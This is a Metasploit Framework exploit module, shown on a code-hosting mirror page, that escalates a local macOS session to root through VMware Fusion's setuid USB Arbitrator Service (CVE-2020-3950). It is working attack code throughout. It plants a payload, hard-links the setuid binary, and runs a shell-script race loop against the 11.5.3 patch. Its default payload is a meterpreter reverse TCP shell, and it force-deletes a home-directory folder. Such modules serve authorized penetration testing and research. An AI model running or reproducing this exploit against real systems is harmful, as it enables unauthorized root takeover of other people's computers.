CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/vmware_fusion_lpe.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::OSX::Priv
10
include Msf::Post::File
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
20
'Description' => %q{
21
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
22
The Open VMware USB Arbitrator Service can be launched outide of its standard path
23
which allows loading of an attacker controlled binary. By creating a payload in the
24
user home directory in a specific folder, and creating a hard link to the 'Open VMware
25
USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
26
with an effective UID of 0.
27
@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
28
Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'h00die', # msf module
33
'Dhanesh Kizhakkinan', # discovery
34
'Rich Mirch', # edb module
35
'jeffball <[email protected]>', # 11.5.3 exploit
36
'grimm'
37
],
38
'Platform' => [ 'osx' ],
39
'Arch' => [ ARCH_X86, ARCH_X64 ],
40
'SessionTypes' => [ 'shell', 'meterpreter' ],
41
'Targets' => [[ 'Auto', {} ]],
42
'Privileged' => true,
43
'References' => [
44
[ 'CVE', '2020-3950' ],
45
[ 'EDB', '48235' ],
46
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
47
[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
48
[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
49
],
50
'DisclosureDate' => '2020-03-17',
51
'DefaultOptions' => {
52
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
53
'WfsDelay' => 15
54
},
55
'Notes' => {
56
'Reliability' => [REPEATABLE_SESSION],
57
'Stability' => [CRASH_SAFE],
58
'SideEffects' => [ARTIFACTS_ON_DISK]
59
}
60
)
61
)
62
63
register_options [
64
OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
65
]
66
end
67
68
def open_usb_service
69
'Open VMware USB Arbitrator Service'
70
end
71
72
def usb_service
73
'VMware USB Arbitrator Service'
74
end
75
76
def get_home_dir
77
home = cmd_exec 'echo ~'
78
if home.blank?
79
fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
80
end
81
home
82
end
83
84
def content_dir
85
"#{get_home_dir}/Contents"
86
end
87
88
def base_dir
89
"#{content_dir}/Library/services/"
90
end
91
92
def kill_process(executable)
93
pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
94
cmd_exec pid_kill
95
end
96
97
def get_version
98
# Thanks to @ddouhine on github for this answer!
99
version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
100
/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw # supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
101
if version_raw.blank?
102
fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'
103
end
104
Rex::Version.new(version)
105
end
106
107
def pre_11_5_3
108
# Upload payload executable & chmod
109
payload_filename = "#{base_dir}#{usb_service}"
110
print_status "Uploading Payload: #{payload_filename}"
111
write_file payload_filename, generate_payload_exe
112
chmod payload_filename, 0o755
113
register_file_for_cleanup payload_filename
114
115
# create folder structure and hard link to the original binary
116
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
117
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
118
cmd_exec "mkdir -p #{link_folder}"
119
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
120
print_status "Created folder (#{link_folder}) and link"
121
122
print_status 'Starting USB Service (5 sec pause)'
123
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
124
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
125
Rex.sleep 5 # give time for the service to execute our payload
126
print_status 'Killing service'
127
cmd_exec "pkill '#{open_usb_service}'"
128
print_status "Deleting #{root_link_folder}"
129
rm_rf root_link_folder
130
end
131
132
def exactly_11_5_3
133
# Upload payload executable & chmod
134
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
135
print_status "Uploading Payload to #{payload_name}"
136
write_file payload_name, generate_payload_exe
137
chmod payload_name, 0o755
138
# create race with codesign check
139
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
140
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
141
print_status 'Uploading race condition executable.'
142
race = <<~EOF
143
#!/bin/sh
144
while [ "1" = "1" ]; do
145
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
146
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
147
done
148
EOF
149
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
150
upload_and_chmodx racer_name, race
151
register_file_for_cleanup racer_name
152
register_dirs_for_cleanup root_link_folder
153
# create the hard link
154
print_status "Creating folder (#{link_folder}) and link"
155
cmd_exec "mkdir -p #{link_folder}"
156
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
157
158
# create the launcher to start the racer and keep launching our service to attempt to win
159
launcher = <<~EOF
160
#!/bin/sh
161
#{racer_name} &
162
for i in {1..#{datastore['MAXATTEMPTS']}}
163
do
164
echo "attempt $i";
165
'#{link_folder}#{open_usb_service}'
166
done
167
EOF
168
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
169
upload_and_chmodx runner_name, launcher
170
register_file_for_cleanup runner_name
171
172
print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
173
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
174
results = cmd_exec "#{runner_name} & :"
175
Rex.sleep 15 # give time for the service to execute our payload
176
vprint_status results
177
178
print_status 'Exploit Finished, killing scripts.'
179
kill_process racer_name
180
kill_process runner_name # in theory should be killed already but just in case
181
kill_process "'#{link_folder}#{open_usb_service}'"
182
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
183
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
184
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
185
end
186
187
def check
188
unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
189
print_bad "'#{open_usb_service}' binary missing"
190
return CheckCode::Safe
191
end
192
version = get_version
193
if version.between?(Rex::Version.new('10.1.3'), Rex::Version.new('11.5.3'))
194
vprint_good "Vmware Fusion #{version} is exploitable"
195
else
196
print_bad "VMware Fusion #{version} is NOT exploitable"
197
return CheckCode::Safe
198
end
199
CheckCode::Appears
200
end
201
202
def exploit
203
if !datastore['ForceExploit'] && is_root?
204
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
205
end
206
207
# Make sure we can write our payload to the remote system
208
rm_rf content_dir # live dangerously.
209
if directory? content_dir
210
fail_with Failure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."
211
end
212
cmd_exec "mkdir -p #{base_dir}"
213
register_dirs_for_cleanup content_dir
214
unless writable? base_dir
215
fail_with Failure::BadConfig, "#{base_dir} is not writable."
216
end
217
218
version = get_version
219
if version == Rex::Version.new('11.5.3')
220
vprint_status 'Using 11.5.3 exploit'
221
exactly_11_5_3
222
elsif version.between?(Rex::Version.new('10.1.3'), Rex::Version.new('11.5.2'))
223
vprint_status 'Using pre-11.5.3 exploit'
224
pre_11_5_3
225
end
226
rm_rf content_dir # live dangerously.
227
end
228
end
229
230